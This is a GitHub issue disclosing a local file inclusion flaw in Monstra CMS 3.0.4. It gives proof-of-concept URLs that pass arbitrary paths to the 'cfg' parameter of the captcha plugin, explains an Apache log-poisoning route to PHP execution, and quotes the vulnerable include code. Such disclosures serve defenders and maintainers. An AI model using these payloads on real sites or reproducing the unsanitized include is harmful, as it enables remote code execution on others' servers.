Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Monstra 3.0.4 Local File Inclusion Vulnerability #469

Open
Zbadblog opened this issue Sep 3, 2020 · 0 comments
Open

Monstra 3.0.4 Local File Inclusion Vulnerability #469

Zbadblog opened this issue Sep 3, 2020 · 0 comments

Comments

@Zbadblog
Copy link

Zbadblog commented Sep 3, 2020

Brief of this vulnerability
There is a local File Inclusion Vulnerability in the CMS, which can be exploited by an attacker to execute PHP code

Test Environment

Apache/2.4.39 (Windows10)
PHP 5.4.45-2+mysql 5.7.26

Affect version
<=3.0.4

payload

http://127.0.0.1/plugins/captcha/crypt/cryptographp.inc.php?sn=exp&exp=1&cfg=filename

We can create phpinfo.txt In the web directory, the content is<?php phpinfo();?>

image

http://127.0.0.1/plugins/captcha/crypt/cryptographp.inc.php?sn=exp&exp=1&cfg=I:\phpstudy_pro\www\phpinfo.txt

image

Or we can use Apache logs

  1. use burpsuite
    image

  2. include log
    http://127.0.0.1/plugins/captcha/crypt/cryptographp.inc.php?sn=exp&exp=1&cfg=I:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log
    image

Reason of This Vulnerability
Directly from the get parameter and include this parameter, resulting in a vulnerability,Vulnerability file:
plugins\captcha\crypt\cryptographp.inc.php

#..\plugins\captcha\crypt\cryptographp.inc.php
if (( ! isset($_COOKIE['cryptcookietest'])) and ($_GET[$_GET['sn']] == "")) {
    header("Content-type: image/png");
    readfile('images/erreur3.png');
    exit;
}

if ($_GET[$_GET['sn']] == "") { unset ($_GET['sn']); }

session_start();

// Takes only the configuration files in the same directory
if ($_GET['cfg'] ) { $_SESSION['configfile']=$_GET['cfg']; } else {  $_SESSION['configfile'] = "cryptographp.cfg.php"; }

include($_SESSION['configfile']);

As long as we assign a value to the sn variable and it is not empty, we can skip the first 2 if syntax,The variable CFG is directly assigned to configFile, and then the include method is executed, resulting in a vulnerability

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant